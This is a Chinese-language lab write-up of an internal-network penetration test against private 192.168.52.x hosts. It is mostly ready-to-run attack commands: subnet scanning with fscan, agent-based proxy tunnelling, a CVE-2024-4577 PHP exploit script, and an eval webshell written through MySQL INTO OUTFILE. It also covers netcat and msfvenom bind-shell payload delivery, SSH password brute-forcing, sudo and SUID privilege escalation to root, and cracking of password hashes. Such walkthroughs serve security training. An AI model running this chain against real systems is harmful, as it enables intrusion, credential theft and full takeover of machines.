二、内网渗透
(1)主机信息收集
- ip 地址
ip addr
发现192.168.58.128和192.168.52.10的IP
查看nginx配置文件,发现反向代理 http://192.168.52.20:8080/geoserver
也就是说,我们访问 192.168.58.131:81 端口,实际是访问的内网主机192.168.52.20:8000,以及获得的webshell实际为内网主机192.168.52.20的webshell
(2)主机信息收集脚本
linpeas.sh脚本
- 给予linpeas.sh执行权限:
chmod +x linpeas.sh
- 运行脚本:
bash linpeas.sh -a > linux_info.txt
注意:脚本运行需要时间,请耐心等待。
- 查看linux_info.txt文件
(3)内网信息收集
注意:
Win7的web服务和mysql服务是默认不开启的,需要自己启动
- 内网存活主机探测
./fscan -h 192.168.52.0/24
- 存活主机情况如下
| IP地址 | 攻击情况 | 开放端口 | |
| 192.168.52.10 | 可以 ssh 远程连接root 权 限 | 22、80、81、 6379 | ssh、nginx、geoserver、 redis |
| 192.168.52.20 | 已拿到 webshell,普通用户 权限 | 22、8080 | ssh、geoserver |
| 192.168.52.30 | 未发起攻击 | 80、445、3306 | xampp、smb、mysql |
(4)内网主机 — 52.30
A.信息收集
1.端口探测及服务发现
- fscan
./fscan -h 192.168.52.30
- TxPortMap
./TxPortMap -i 192.168.52.30 -p 1-65535
B.内网代理搭建
1.上传 agent
2.攻击机启动 admin 控制节点
3.靶机启动 agent 被控节点
chmod +x agent
./agent -c 192.168.58.129:9999
4.admin 控制节点接收到 agent 节点连接
5.进入node0节点
use 0
6.开启socks代理
socks 1080
此时在 admin 节点(攻击机)的 1080 端口启动了 socks 代理服务
7.代理验证
- 配置proxychains
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
- Proxychains代理浏览器
proxychains firefox
如果出现以上情况,用普通用户执行命令
- Proxychains代理curl
proxychains curl 192.168.52.30/dashboard/
C.服务分析 — XAMPP 服务
1.访问http://192.168.52.30/,可以发现开启了XMAPP服务
XAMPP 是一个把 Apache 网页服务器与 PHP、Perl 及 MariaDB 集合在一起的安装包,允许用户可以 在自己的电脑上轻易的建立网页服务器。
- 通过访问 http://192.168.52.30/dashboard/phpinfo.php,可以看到 phpinfo 信息,获得服务器相关信息
| 信息描述 | 信息内容 |
| XAMPP安装目录 | C:/xampp |
| 网站根目录 | C:/xampp/htdocs |
| PHP版本 | PHP/8.1.25 |
D.漏洞利用—XAMPP
1.查询历史漏洞
发现最近暴出一个 PHP CGI 远程代码执行漏洞 — CVE-2024-4577
- 漏洞描述
PHP 语言在设计时忽略Windows 作业系统内部对字元编码转换的 Best-Fit 特性,导致未认证的攻击者 可透过特定的字元序列绕过旧有 CVE-2012-1823 的保护;透过参数注入等攻击在远端 PHP 服务器上 执行任意代码。
- 影响范围
此漏洞 影响安装于 Windows 系统上所有的 PHP版本
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
2.漏洞验证
- Python
检测漏洞:
proxychains python CVE-2024-4577.py -u http://192.168.52.30 -m poc
利用漏洞:
proxychains python CVE-2024-4577.py -u http://192.168.52.30 -m exp
E.服务分析 — MySQL 服务
使用root/root账户密码登录Mysql
proxychains mysql -h 192.168.52.30 -uroot -proot --skip-ssl
F.漏洞利用 — MySQL 服务
1.登录 MySQL 后,收集相关信息
版本信息:
select @@version;
数据目录:
select @@datadir;
显示包含secure的全局变量:
show global variables like '%secure%';
显示包含plugin的变量:
show variables like 'plugin%';
2.secure_file_priv
mysql 的 secure_file_priv 参数是用来限制使用 LOAD DATA, INTO OUTFILE, LOAD_FILE() 等方式向指定目录读取写入文件。
-
当 secure-file-priv 的值为 NULL ,表示限制 mysqld 不允许导入、导出
-
当 secure-file-priv 的值为 /tmp/,表示限制 mysqld 的导入、导出只能发生在 /tmp/ 目录下
-
当 secure-file-priv 的值没有具体值时,表示不对 mysqld 的导入、导出做限制
3.利用 into outfile 写 Webshell
select "<?php @eval($_POST['cmd'])?>" into outfile "C:/xampp/htdocs/s.php";
4.尝试访问写入的文件,验证是否写入成功
如果是没有任何显示,说明成功写入
5.使用蚁剑连接
- 蚁剑配置代理
- 蚁剑连接webshell
- 成功获得管理员权限
(5)内网主机 — 52.20
A.获得交互式shell
我们之前通过写入内存马的方式成功得到了主机的 Webshell,我们可以通过 Webshell上传 agent。
1.上传 agent,并赋予执行权限
如果上传文件时遇见以下情况:
发现文件上传被限制,可以使用其他方法进行文件上传。
- NC(netcat):
proxychains nc 192.168.52.20 1234 < agent
nc -lvvp 1234 > agent
- msf正向shell:
开启msf:
proxychains msfconsole
生成payload:
msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf -o test.elf
上传payload:
给payload赋予执行权限,并执行:
开启监听器:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.20
set lport 6666
run
成功获得会话
注意:顺序不要搞混,先执行payload,再开启监听器。
上传agent:
upload /tools/agent /home/bob/tools
2.靶机52.10监听端口
因为52.20主机在内网的52网段,可以通过之前的节点1(52.10),进行端口监听,作为中转节点。
注意:只有相同网段可以互相访问。
进入节点0:
use 0
进入监听功能:
listen
选择监听模式:
1
设置监听端口:
8888
3.靶机52.20启动agent节点
主机52.20启动agent节点连接靶机52.10主机节点上监听的8888端口
./agent -c 192.168.52.10:8888
4.admin 管理节点成功接收到建立连接的 agent 节点
5.进入agent的交互shell
进入节点1:
use 1
进入shell:
shell
B.提权信息收集
1.传信息收集脚本linpeas.sh
如果蚁剑上传不了,可以使用节点上传
upload /tools/linpeas.sh /home/bob/tools/linpeas.sh
2.给予执行权限并执行
Chmod +x linpeas.sh
bash linpeas.sh -a > linux_info.txt
3.下载结果文件到本地进行分析
4.分析所有收集到的信息
cat linux_info.txt
- 基本信息
- 可能存在的提权漏洞建议
- 用户信息
- SUID
- 用户密码hash
- 用户可能添加的可执行文件
C.权限提升 — sudo
1.bob用户密码爆破
- 在52.10主机上使用fscan爆破bob用户ssh弱口令
./fscan -h 192.168.52.20 -m ssh -user bob -pwdf passwd.txt
- 成功得到bob用户明文密码
bob/secret
2.sudo提权
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。
- 查看bob用户通过sudo执行的命令列表
sudo -l:命令允许用户查看他们可以通过 sudo 执行的命令列表以及相关的权限。
-S:是 sudo 命令的选项,其作用是要求 sudo 命令在执行时读取用户输入的密码
echo "secret" | sudo -S -l
-
发现bob用户可以使用sudo以root权限执行以上的程序
-
利用sudo权限提权
执行whoami命令:
echo "secret" | sudo -S ash -c whoami
echo "secret" | sudo -S /usr/bin/awk 'BEGIN {system("whoami")}'
echo "secret" | sudo -S find . -exec whoami \; -quit
- 52.10主机节点监听7777端口
Listen
1
7777
- Webshell执行命令,利用sudo以root权限在52.20主机上执行agent,并上线节点
echo "secret" | sudo -S ash -c "/home/bob/tools/agent -c 192.168.52.10:7777"
- 最终获得root权限
D.权限提升 — 密码hash
(1)/etc/passwd
所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部分
-
用户名
-
密码,x表示密码保存在/etc/shadow
-
UID,0代表root
-
GID,表示所在组
-
描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
-
用户主目录
-
默认shell类型
(2)/etc/shadow
只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分 为九个部分:
-
用户名
-
加密后的密码
-
上次修改密码的时间(从1970.1.1开始的总天数)
-
两次修改密码间隔的最少天数,如果为0,则没有限制
-
两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提
-
前多少天警告用户密码将过期
-
在密码过期之后多少天禁用此用户
-
用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
-
保留
(3) 查看/etc/passwd文件,发现存在一个用户的密码hash
cat /etc/passwd
此用户具有root权限,且允许登录console
(4)尝试在线网站破解密码hash
https://cmd5.com/
https://www.somd5.com/
(5)成功获得用户明文密码
insecurity / P@ssw0rd!
(6) 尝试使用用户密码远程登录系统
ssh insecurity@192.168.52.20
成功登录获得root权限
E.权限提升 — SUID
(1) SUID权限说明
-
启动为进程之后,该进程将临时继承文件属主的身份权限
-
只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义
-
执行suid权限的程序时,此用户将继承此程序的所有者权限
(2) find命令查找拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
(3) taskset执行命令
taskset 1 whoami
taskset 1 ls -la /root
- taskset打开shell
当 taskset 被配置 SUID/SGID 权限(如属主为 root)时,执行该命令会以 root 权限启动 Bash,直接获取 root shell
taskset 1 /bin/bash -p